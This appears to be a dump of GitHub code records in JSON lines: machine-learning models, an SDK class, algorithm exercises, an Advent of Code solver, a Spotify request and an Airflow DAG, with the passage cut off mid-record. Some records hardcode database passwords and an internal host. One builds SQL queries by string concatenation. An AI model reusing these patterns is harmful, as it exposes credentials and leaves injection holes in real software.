__name__ == \"__main__\":\n usage = \"usage: %prog [options]\"\n parser = OptionParser(usage=usage)\n\n parser.add_option(\"--code\", dest=\"project_code\", help=\"Project Code to create a site for.\")\n parser.add_option(\"--id\", dest=\"container_id\", help=\"Container id to ssh.\")\n parser.add_option(\"--action\", dest=\"action\", help=\"Action\")\n parser.add_option(\"--maintainer\", dest=\"maintainer\", help=\"Maintainer\")\n\n options, args = parser.parse_args()\n options.url = '{project_code}.dev.code4.hk'.format(project_code=options.project_code) \n\n if not (options.maintainer):\n options.maintainer='code4hk@gmail.com'\n\n if (options.action == 'ssh'):\n print (get_docker_port(options.container_id,22))\n else:\n create_docker_action(options)\n\n","repo_name":"code4hk/open-platform","sub_path":"create_docker.py","file_name":"create_docker.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"12816852482","text":"# -*- coding: utf-8 -*-\r\n\r\nimport tensorflow as tf\r\nimport keras\r\n\r\nfrom adain import USE_TF_KERAS\r\nfrom adain.layers import VggPreprocess, SpatialReflectionPadding\r\n\r\nif USE_TF_KERAS:\r\n Input = tf.keras.layers.Input\r\n Conv2D = tf.keras.layers.Conv2D\r\n DepthwiseConv2D = tf.keras.layers.DepthwiseConv2D\r\n BatchNormalization = tf.keras.layers.BatchNormalization\r\n Activateion = tf.keras.layers.Activation\r\n MaxPooling2D = tf.keras.layers.MaxPooling2D\r\n Layer = tf.keras.layers.Layer\r\n Model = tf.keras.models.Model\r\nelse:\r\n Input = keras.layers.Input\r\n Conv2D = keras.layers.Conv2D\r\n DepthwiseConv2D = keras.layers.DepthwiseConv2D\r\n BatchNormalization = keras.layers.BatchNormalization\r\n Activateion = keras.layers.Activation\r\n MaxPooling2D = keras.layers.MaxPooling2D\r\n Layer = keras.layers.Layer\r\n Model = keras.models.Model\r\n\r\n\r\ndef vgg_encoder(input_shape=[None,None,3]):\r\n \r\n def _build_model(input_shape):\r\n x = Input(shape=input_shape, name=\"input\")\r\n img_input = x\r\n \r\n # Block 1\r\n x = VggPreprocess()(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(64, (3, 3), activation='relu', padding='valid', name='block1_conv1')(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(64, (3, 3), activation='relu', padding='valid', name='block1_conv2')(x)\r\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(x)\r\n \r\n # Block 2\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(128, (3, 3), activation='relu', padding='valid', name='block2_conv1')(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(128, (3, 3), activation='relu', padding='valid', name='block2_conv2')(x)\r\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(x)\r\n \r\n # Block 3\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(256, (3, 3), activation='relu', padding='valid', name='block3_conv1')(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(256, (3, 3), activation='relu', padding='valid', name='block3_conv2')(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(256, (3, 3), activation='relu', padding='valid', name='block3_conv3')(x)\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(256, (3, 3), activation='relu', padding='valid', name='block3_conv4')(x)\r\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(x)\r\n \r\n # Block 4\r\n x = SpatialReflectionPadding()(x)\r\n x = Conv2D(512, (3, 3), activation='relu', padding='valid', name=\"output\")(x)\r\n model = Model(img_input, x, name='vgg19')\r\n return model\r\n model = _build_model(input_shape)\r\n return model\r\n\r\n\r\ndef mobile_encoder(input_shape=[None,None,3]):\r\n \r\n x = Input(shape=input_shape, name=\"input\")\r\n img_input = x\r\n\r\n # Block 1\r\n x = VggPreprocess()(x)\r\n x = Conv2D(32, (3, 3), strides=2, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (112,112,32)\r\n\r\n x = DepthwiseConv2D((3, 3), use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n x = Conv2D(64, (1, 1), use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (112,112,64)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=2, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n # (56,56,64)\r\n x = Conv2D(128, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (56,56,128)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n x = Conv2D(128, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (56,56,128)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=2, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n # (28,28,128)\r\n x = Conv2D(256, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (28,28,256)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n x = Conv2D(256, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (28,28,256)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n x = Conv2D(512, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\")(x)\r\n # (28,28,512)\r\n\r\n x = DepthwiseConv2D((3, 3), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization(fused=False)(x)\r\n x = Activateion(\"relu\")(x)\r\n x = Conv2D(512, (1, 1), strides=1, use_bias=False, padding='same')(x)\r\n x = BatchNormalization()(x)\r\n x = Activateion(\"relu\", name=\"output\")(x)\r\n\r\n model = Model(img_input, x, name='vgg19_light')\r\n return model\r\n\r\n\r\nif __name__ == '__main__':\r\n model = vgg_encoder()\r\n light_model = mobile_encoder()\r\n mobilenet = tf.keras.applications.mobilenet.MobileNet(input_shape=(224,224,3))\r\n print(\"======================================================\")\r\n conv_params = []\r\n bn_params = []\r\n for layer in mobilenet.layers:\r\n params = layer.get_weights()\r\n if len(params) == 1:\r\n conv_params.append(params)\r\n if len(params) == 4:\r\n bn_params.append(params)\r\n print(\"======================================================\")\r\n\r\n ci = 0\r\n bi = 0 \r\n for layer in light_model.layers:\r\n params = layer.get_weights()\r\n if len(params) == 1:\r\n print(layer.name, params[0].shape, conv_params[ci][0].shape)\r\n layer.set_weights(conv_params[ci])\r\n ci += 1\r\n if len(params) == 4:\r\n print(layer.name, params[0].shape, bn_params[bi][0].shape)\r\n layer.set_weights(bn_params[bi])\r\n bi += 1\r\n print(ci, bi)\r\n light_model.save_weights(\"mobile_init.h5\")\r\n \r\n\r\n","repo_name":"penny4860/keras-adain-style-transfer","sub_path":"adain/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":6469,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"20"} +{"seq_id":"21851900569","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass VarsBodyPrimitiveTypeHolder:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'vars_body': 'str'\n }\n\n attribute_map = {\n 'vars_body': 'vars_body'\n }\n\n def __init__(self, vars_body=None):\n \"\"\"VarsBodyPrimitiveTypeHolder\n\n The model defined in huaweicloud sdk\n\n :param vars_body: HCL参数文件的内容。HCL模板支持参数传入,即,同一个模板可以给予不同的参数而达到不同的效果。 * vars_body使用HCL的tfvars格式,用户可以将“.tfvars”中的内容提交到vars_body中 * 资源编排服务支持vars_body和vars_uri,如果他们中声名了同一个变量,将报错400 * 如果vars_body过大,可以使用vars_uri * 资源栈集不支持敏感数据加密,资源编排服务会直接明文使用、log、展示、存储对应的vars_body。\n :type vars_body: str\n \"\"\"\n \n \n\n self._vars_body = None\n self.discriminator = None\n\n if vars_body is not None:\n self.vars_body = vars_body\n\n @property\n def vars_body(self):\n \"\"\"Gets the vars_body of this VarsBodyPrimitiveTypeHolder.\n\n HCL参数文件的内容。HCL模板支持参数传入,即,同一个模板可以给予不同的参数而达到不同的效果。 * vars_body使用HCL的tfvars格式,用户可以将“.tfvars”中的内容提交到vars_body中 * 资源编排服务支持vars_body和vars_uri,如果他们中声名了同一个变量,将报错400 * 如果vars_body过大,可以使用vars_uri * 资源栈集不支持敏感数据加密,资源编排服务会直接明文使用、log、展示、存储对应的vars_body。\n\n :return: The vars_body of this VarsBodyPrimitiveTypeHolder.\n :rtype: str\n \"\"\"\n return self._vars_body\n\n @vars_body.setter\n def vars_body(self, vars_body):\n \"\"\"Sets the vars_body of this VarsBodyPrimitiveTypeHolder.\n\n HCL参数文件的内容。HCL模板支持参数传入,即,同一个模板可以给予不同的参数而达到不同的效果。 * vars_body使用HCL的tfvars格式,用户可以将“.tfvars”中的内容提交到vars_body中 * 资源编排服务支持vars_body和vars_uri,如果他们中声名了同一个变量,将报错400 * 如果vars_body过大,可以使用vars_uri * 资源栈集不支持敏感数据加密,资源编排服务会直接明文使用、log、展示、存储对应的vars_body。\n\n :param vars_body: The vars_body of this VarsBodyPrimitiveTypeHolder.\n :type vars_body: str\n \"\"\"\n self._vars_body = vars_body\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, VarsBodyPrimitiveTypeHolder):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"huaweicloud/huaweicloud-sdk-python-v3","sub_path":"huaweicloud-sdk-aos/huaweicloudsdkaos/v1/model/vars_body_primitive_type_holder.py","file_name":"vars_body_primitive_type_holder.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"zh","doc_type":"code","stars":104,"dataset":"github-code","pt":"20"} +{"seq_id":"38802822678","text":"# This is for the case without repeats\n\n# ------------------------------------------ START ------------------------------------------\n\n\ndef permute(arr):\n \"\"\"\n :type arr: List[int]\n :rtype: List[List[int]]\n \"\"\"\n if not arr:\n return [[]]\n\n def swap(i, j):\n arr[i], arr[j] = arr[j], arr[i]\n\n output = []\n\n def _perms(idx):\n if idx == len(arr):\n # make deep copy otherwise each arr in output will be the same!\n output.append([x for x in arr])\n return\n\n for i in range(idx, len(arr)):\n swap(i, idx)\n _perms(idx + 1)\n # swap back after recursing\n swap(i, idx)\n\n _perms(0)\n return output\n\n\n# ------------------------------------------ STOP ------------------------------------------\n\n\n# MAIN / TEST\nip = [1, 2, 3]\nprint(permute(ip))\n","repo_name":"ajaymd/ikk","sub_path":"Recursion/permutations/optimal_solution.py","file_name":"optimal_solution.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"26915537825","text":"#!/Users/josh/.local/share/virtualenvs/Advent_of_Code-07aOslbA/bin/python3\n\nimport numpy as np\nimport scipy\nfrom scipy import stats\n\n\ndef load_data():\n # Read contents of file\n my_file = open('data.txt', 'r')\n contents = my_file.readlines()\n my_file.close()\n\n return contents \n\n\ndef process_data(raw_data):\n draw_numbers = [int(x) for x in raw_data[0].split(',')]\n\n boards = np.array([[int(x) for x in row.split()] \n for row in raw_data[2:] if row if row != '\\n'])\n\n return (draw_numbers, boards) \n\n\ndef first_half(draw_numbers, boards): \n # Set up mechanics to track scoring numbers\n num_boards = int(boards.shape[0]/5)\n row_counts = np.zeros((5, num_boards)) \n col_counts = np.zeros((num_boards, 5))\n # Iterate over all numbers\n for num in draw_numbers:\n indices = np.where(boards==num)\n # Score all numbers\n for i in range(len(indices[0])):\n # Parse specifics about location of drawn number\n game = int(indices[0][i]/5)\n row = indices[0][i] % 5\n col = indices[1][i]\n\n # Mark the position on the board as drawn\n boards[indices[0][i]][indices[1][i]] = 0\n\n # Update drawn row and column counts\n row_counts[row][game] += 1\n col_counts[game][col] += 1\n\n # End game if row or column counts for a game wins\n if row_counts[row][game] >= 5 or col_counts[game][col] >= 5:\n solution = sum(sum(boards[game*5:game*5+5])) * num\n print('\\nSolution for first half!')\n print('Product of board sum and drawn number: {}\\n'.format(\n solution))\n return\n \n\ndef second_half(draw_numbers, boards):\n # Set up mechanics to track scoring numbers\n num_boards = int(boards.shape[0]/5)\n row_counts = np.zeros((5, num_boards)) \n col_counts = np.zeros((num_boards, 5))\n won_boards = np.array([])\n # Iterate over all numbers\n for num in draw_numbers:\n indices = np.where(boards==num)\n # Score all numbers\n for i in range(len(indices[0])):\n # Parse specifics about location of drawn number\n game = int(indices[0][i]/5)\n row = indices[0][i] % 5\n col = indices[1][i]\n # If this game as already one, skip updating everthing\n if game in won_boards:\n continue\n\n # Mark the position on the board as drawn\n boards[indices[0][i]][indices[1][i]] = -1\n\n # Update drawn row and column counts\n row_counts[row][game] += 1\n col_counts[game][col] += 1\n\n # Check if a game board wins\n if row_counts[row][game] >= 5 or col_counts[game][col] >= 5:\n # End game if this is the last game board\n if num_boards == 1:\n # Change drawn location markers to additive identity \n winner = boards[game*5:game*5+5]\n winner[winner == -1] = 0\n\n solution = sum(sum(winner)) * num\n print('\\nSolution for second half!')\n print('Product of board sum and drawn number: {}\\n'.format(\n solution))\n return\n else:\n # If this is not the last game, update counts and keeg going\n won_boards = np.append(won_boards, game)\n num_boards -= 1\n boards[game*5:game*5+5] = -1\n\n\ndef main():\n bingo = load_data() \n (draw_numbers, boards) = process_data(bingo)\n first_half(draw_numbers, boards)\n (draw_numbers, boards) = process_data(bingo)\n second_half(draw_numbers, boards)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JoshFagan/Advent_of_Code","sub_path":"2021/Day_4/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"6235848010","text":"\ntutors = ['Иван', 'Анастасия', 'Петр', 'Сергей',\n 'Дмитрий', 'Борис', 'Елена', 'Максим', 'Станислав']\n\nklasses = ['9А', '7В', '9Б', '9В', '8Б', '10А', '10Б', '9А']\n\n\n# tuple_generator = ((x, y) for x, y in zip(tutors, klasses))\n# # print(type(tuple_generator))\n# # print(type(next(tuple_generator)), next(tuple_generator))\n#\n# for i in tuple_generator:\n# print(i)\n\n\ndef t_generator():\n i = 0\n j = 0\n for x, y in zip(tutors[j], klasses[i]):\n while j < len(tutors):\n if j >= len(klasses):\n yield tutors[j], None\n i += 1\n j += 1\n else:\n yield tutors[j], klasses[i]\n i += 1\n j += 1\n\n\nfor u in t_generator():\n print(u)\n\nprint(type(t_generator()))\n","repo_name":"GVLana/Geekbrains_project1","sub_path":"task_5.3.py","file_name":"task_5.3.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32135297304","text":"\"\"\"create auth0 profile table\n\nRevision ID: 58fced675d71\nRevises: 7cd9314e48bf\nCreate Date: 2021-05-23 11:22:51.576784\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\nrevision = '58fced675d71'\ndown_revision = '7cd9314e48bf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n op.create_table(\n \"auth0_users\",\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\"sub\", sa.String, unique=True, nullable=False, index=True)\n )\n\n\ndef downgrade() -> None:\n op.drop_table(\"auth0_users\")\n","repo_name":"LucasRoig/fast-api-chess-server","sub_path":"app/db/migrations/versions/58fced675d71_create_auth0_profile_table.py","file_name":"58fced675d71_create_auth0_profile_table.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"795847646","text":"import requests\r\n\r\n# Authorize our application\r\nurl = \"https://accounts.spotify.com/authorize\"\r\nheaders = {\r\n \"client_id\": \"ae94085f9ba742fc811ec3ecfbc1e864\",\r\n \"response_type\": \"code\",\r\n \"redirect_uri\": \"http://127.0.0.1:5500/spotify_music_recommendation/index.html\"\r\n}\r\n\r\nresponse = requests.get(url, headers)\r\nprint(response)","repo_name":"RomeBits/spotify_music_recommendation","sub_path":"api_requests.py","file_name":"api_requests.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31520500321","text":"# -*- coding: iso-8859-1 -*-\n'''\nThis file is part of orbkit. See the main program or documentation \nfor information on the license.\n\nExample file that shows how to use orbkit for ordering molecular orbitals\nusing analytical integrals for the bending of a CO2 molecule.\n\nPlease note that the input files are compressed in .tar.gz file and\nneed to be decompressed.\n'''\nimport os,copy\nfrom time import time\nfrom orbkit import multiple_files as mult\nfrom orbkit.display import init_display,display,tForm\nimport numpy\n\nt = [time()]\n\n# Create a list containing the filenames of the input files\npath = 'pec_co2'\nif not os.path.exists(path):\n raise IOError('%s does not exist! Please extract pec_co2.tar.gz' % path)\n\n# The bond angle\noco = numpy.arange(170,191,2)\n# How are input files formatted?\nfid = '%d.molden'\nfid_list = []\nfor i in range(1,len(oco)+1):\n f = os.path.join(path,fid % i)\n if not os.path.exists(f):\n raise IOError('%s does not exist!' % f)\n fid_list.append(f)\n\n# Read all input files\nmult.read(fid_list,itype='molden')\n\n# Save the unordered molecular orbital coefficients for depiction\nmo_before = copy.deepcopy(mult.mo_coeff_all)\n\n\n# Run the ordering routine using analytical overlap integrals\n# Input argument None has been used because input files have been read already\nindex_list, mo_overlap = mult.order_using_analytical_overlap(None)\n\n\nimport pylab as plt\n\nmo = mo_before[0]\nfor j in range(mo.shape[2]):\n plt.plot(oco,mo[:,11,j], '-', color=(0.7,0.7,0.7))\n\nmo = mult.mo_coeff_all[0]\nfor j in range(mo.shape[2]):\n plt.plot(oco,mo[:,11,j], '--',color=(0.7,0.7,0.7))\n\nplt.plot(oco,mo_before[0][:,11,5], 'b-', label='before ordering')\nplt.plot(oco,mo[:,11,5], 'b--', label='after ordering')\n\nplt.xlabel(r'$\\sphericalangle{\\rm OCO}\\,({}^{\\circ})$')\nplt.ylabel(r'$C_{ia}$')\nplt.legend()\nplt.show()","repo_name":"yidapa/orbkit","sub_path":"examples/orbkit_applications/CO2_ordering/co2_ordering.py","file_name":"co2_ordering.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"73203450610","text":"\"\"\"\n-------------------------------------------------------\nAssignment 7, Lists\n-------------------------------------------------------\nAuthor: Jayprakash Pathak\nID: 169018920\nEmail: path8920@mylaurier.ca\n__updated__ = \"2022-11-20\"\n-------------------------------------------------------\n\"\"\"\n\n\ndef list_factors(num):\n \"\"\"\n -------------------------------------------------------\n Returns a list of the factors that make up that number excepting\n the number itself.\n Use: factors = list_factors(num)\n -------------------------------------------------------\n Parameters:\n num - an integer greater or equal to 0 (int)\n Returns:\n List - list of the factors (list of *)\n -------------------------------------------------------\n \"\"\"\n factors = []\n for i in range(1, num):\n if num % i == 0:\n factors.append(i)\n\n return factors\n\n\ndef list_positives():\n \"\"\"\n -------------------------------------------------------\n Gets a list of positive numbers from a user.\n Negative numbers are ignored. Enter 0 to stop entries.\n Use: numbers = list_positives()\n -------------------------------------------------------\n Returns:\n numbers - A list of positive integers (list of int)\n ------------------------------------------------------\n \"\"\"\n user_input = int(input(\"Enter an list of positive numbers: \"))\n\n numbers = []\n while user_input != 0:\n if user_input > 0:\n numbers.append(user_input)\n else:\n user_input = user_input\n\n user_input = int(input(\"Enter a list of positive numbers: \"))\n\n return numbers\n\n\ndef list_indexes(values, target):\n \"\"\"\n -------------------------------------------------------\n Finds the indexes of target in values.\n Use: indexes = list_indexes(values, target)\n -------------------------------------------------------\n Parameters:\n values - list of value (list of int)\n target - value to look for in num_list (int)\n Returns:\n locations - list of indexes of target (list of int)\n -------------------------------------------------------\n \"\"\"\n base_number = 0\n locations = []\n\n for i in values:\n if i == target:\n locations.append(base_number)\n base_number += 1\n return locations\n\n\ndef subtract_lists(minuend, subtrahend):\n \"\"\"\n -------------------------------------------------------\n Updates the list minuend removing from it the values in subtrahend.\n i.e. the values in the first list that appear in the second list\n are not included in the updated list.\n subtrahend is unchanged\n Use: subtract_lists(minuend, subtrahend)\n -------------------------------------------------------\n Parameters:\n minuend - a list of values (list)\n subtrahend - a list of values to remove from minuend (list)\n Returns:\n None\n ------------------------------------------------------\n \"\"\"\n for i in subtrahend:\n while i in minuend:\n indexes = list_indexes(minuend, i)\n minuend.pop(indexes[0])\n\n return None\n\n\ndef is_sorted(values):\n \"\"\"\n -------------------------------------------------------\n Determines whether a list is sorted.\n Use: in_order, index = is_sorted(values)\n -------------------------------------------------------\n Parameters:\n values - a list of values (list)\n Returns:\n in_order - True if values is sorted, False otherwise (bool)\n index - index of first value not in order,\n -1 if in_order is True (int)\n ------------------------------------------------------\n \"\"\"\n in_order = True\n index = 0\n for i in range(len(values) - 1):\n if values[i] > values[i + 1]:\n in_order = False\n if in_order is False:\n index = 1\n else:\n index = -1\n\n return in_order, index\n","repo_name":"jayprakash07/CP104","sub_path":"A07/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"6893840922","text":"#from variables import * \r\n#this script is used to process data from a csv file to a mysql db\r\n#how to run: python3 sendData.py output_2021.07.22.csv 2021-07-22\r\n#make sure that the two tables are already created from tablecreation\r\n\r\nimport json\r\nimport mysql.connector\r\nimport csv\r\nimport sys\r\n\r\n\r\ndbname = \"carddatabase\"\r\nmydb = mysql.connector.connect(\r\n host = \"localhost\",\r\n user = \"root\",\r\n password = \"Irewick07\",\r\n database = dbname, \r\n)\r\n\r\nmycursor = mydb.cursor(buffered=True)\r\ncardnamedb = \"INSERT INTO \" + dbname + \".Card(CardID, CardName, SetName, ProductID, SKUID, CardCondition, Edition, CardLanguage) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\r\ncardpricedb = \"INSERT INTO \" + dbname + \".CardPrice(CardID, PriceDate, AvailableLowestPrice, SoldMarket, SoldLowest, SoldHighest) VALUES (%s, %s, %s, %s, %s, %s)\"\r\nfilename = sys.argv[1]\r\ndatadate = sys.argv[2]\r\n\r\n#logging.info(\"Sending data to MySQL\")\r\nmycursor.execute(\"SELECT COUNT(*) FROM \" + dbname + \".Card\")\r\nrowcount = mycursor.fetchone()\r\nif (rowcount[0] == 0):\r\n counter = 0\r\nelse:\r\n mycursor.execute(\"SELECT MAX(CardID) FROM \" + dbname + \".Card\")\r\n result = mycursor.fetchone()\r\n counter = (result[0])\r\nwith open(filename) as f:\r\n linenumber = 0\r\n for line in f.readlines():\r\n linenumber = linenumber + 1\r\n line = line.rstrip()\r\n commacount = line.count(',')\r\n a = line.split(\",\")\r\n cardname = a[0]\r\n setname = a[1]\r\n productid = a[2]\r\n skuid = a[3]\r\n condition = a[4]\r\n edition = a[5]\r\n language = a[6]\r\n avaiable_lowest_price = a[7]\r\n sold_market = a[9]\r\n sold_lowest = a[10]\r\n sold_highest = a[11]\r\n if (linenumber > 1 and commacount == 11):\r\n mycursor.execute(\"SELECT CardID FROM \" + dbname + \".Card WHERE ProductID = \" + productid + \" and SKUID = \" + skuid)\r\n check = mycursor.fetchone()\r\n if (check == None):\r\n valname = (counter + 1, cardname, setname, productid, skuid, condition, edition, language)\r\n if (avaiable_lowest_price == \"N/A\"):\r\n avaiable_lowest_price = None\r\n if (sold_market == \"N/A\"):\r\n sold_market = None \r\n if (sold_lowest == \"N/A\"):\r\n sold_lowest = None \r\n if (sold_highest == \"N/A\"):\r\n sold_highest= None \r\n valprice = (counter + 1, datadate, avaiable_lowest_price, sold_market, sold_lowest, sold_highest)\r\n mycursor.execute(cardnamedb,valname)\r\n mycursor.execute(cardpricedb,valprice)\r\n else:\r\n if (avaiable_lowest_price == \"N/A\"):\r\n avaiable_lowest_price = None\r\n if (sold_market == \"N/A\"):\r\n sold_market = None \r\n if (sold_lowest == \"N/A\"):\r\n sold_lowest = None \r\n if (sold_highest == \"N/A\"):\r\n sold_highest= None \r\n valprice = (check[0], datadate, avaiable_lowest_price, sold_market, sold_lowest, sold_highest)\r\n mycursor.execute(cardpricedb,valprice)\r\n counter = counter + 1\r\n if (counter % 10000 == 0):\r\n mydb.commit()\r\n print(counter)\r\n mydb.commit()\r\n print(\"done!\")\r\n","repo_name":"aymei2/EdisonProject","sub_path":"sendData.py","file_name":"sendData.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"14286676382","text":"def coin_change(coins, amount):\n return coin_change_top_down(coins, amount)\n\n\ndef coin_change_top_down(coins, amount):\n def coin_change(coins, amount, balance, cache):\n if balance < 0:\n return -1\n\n if balance == 0:\n return 0\n\n # we already have an answer for the minimum number of coins for the balance\n if cache[balance] != 0:\n return cache[balance]\n\n # we go here if we don't have a cached answer. Thus, we calculate it by testing each coin denomination\n min_coins = amount + 1\n for coin in coins:\n count_coins_to_use = coin_change(coins, amount, balance - coin, cache)\n # update the min_coins needed if we can use less coins\n if count_coins_to_use >= 0 and count_coins_to_use < min_coins:\n min_coins = count_coins_to_use + 1\n\n if min_coins == amount + 1:\n cache[balance] = -1\n else:\n cache[balance] = min_coins\n\n return cache[balance]\n\n if amount < 1:\n return 0\n\n cache = [0] * (amount + 1)\n return coin_change(coins, amount, amount, cache)\n\n\ndef coin_change_bottom_up(coins, amount):\n cache = [amount + 1] * (amount + 1)\n cache[0] = 0\n\n for subamount in range(1, amount + 1):\n for _, coin in enumerate(coins):\n # only consider recalculate the minimum coins needed for a subamount if the given coin is less than or equal to the subamount\n if coin <= subamount:\n remaining_balance = subamount - coin\n cache[subamount] = min(cache[subamount], 1 + cache[remaining_balance])\n\n if cache[amount] > amount:\n return -1\n return cache[amount]\n","repo_name":"bonicim/technical_interviews_exposed","sub_path":"src/algorithms/blind_curated_75_leetcode_questions/coin_change.py","file_name":"coin_change.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"71373440049","text":"import os\nimport sys\n\nsys.path.insert(0, (os.path.join(os.path.dirname(__file__), '..', '..')))\n\nimport logging\nfrom datetime import datetime\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\nfrom itertools import combinations\n\ncreds = {\n \"user\": \"etl\",\n \"password\": \"etl_pass\",\n \"host\": \"192.168.0.29\",\n \"database\": \"market\",\n \"port\": 5432\n}\n\nlog = logging.getLogger(__name__)\n\nwith DAG(\n dag_id=\"dag_parses\",\n start_date=datetime(2023, 5, 30),\n catchup=False,\n tags=[\"Data Extraction\"],\n schedule_interval=\"*/20 * * * *\",\n) as dag:\n def extract_data_tradeit():\n from src.parsers.tradeit import TradeIt\n return TradeIt().update_market_status()\n\n\n def extract_data_cs_go_market():\n from src.parsers.csgo_market import CsGoMarket\n return CsGoMarket().update_market_status()\n\n\n def extract_data_lis_skins():\n from src.parsers.list_skins import LisSkins\n return LisSkins().update_market_status()\n\n\n def extract_data_skin_baron():\n from src.parsers.skinbaron import Skinbaron\n return Skinbaron().update_market_status()\n\n\n def create_transaction(**kwargs):\n from src.db_module.db_connector import Connector\n from src.db_module.db_utils import create_transaction\n\n connector = Connector(creds)\n kwargs |= {'connector': connector}\n return create_transaction(**kwargs)\n\n\n def find_pairs(**kwargs):\n from src.db_module.db_connector import Connector\n from src.db_module.db_utils import find_pair\n\n connector = Connector(creds)\n kwargs |= {'connector': connector}\n return find_pair(**kwargs)\n\n\n extract_data_tradeit = PythonOperator(\n task_id=\"extract_data_tradeit\", 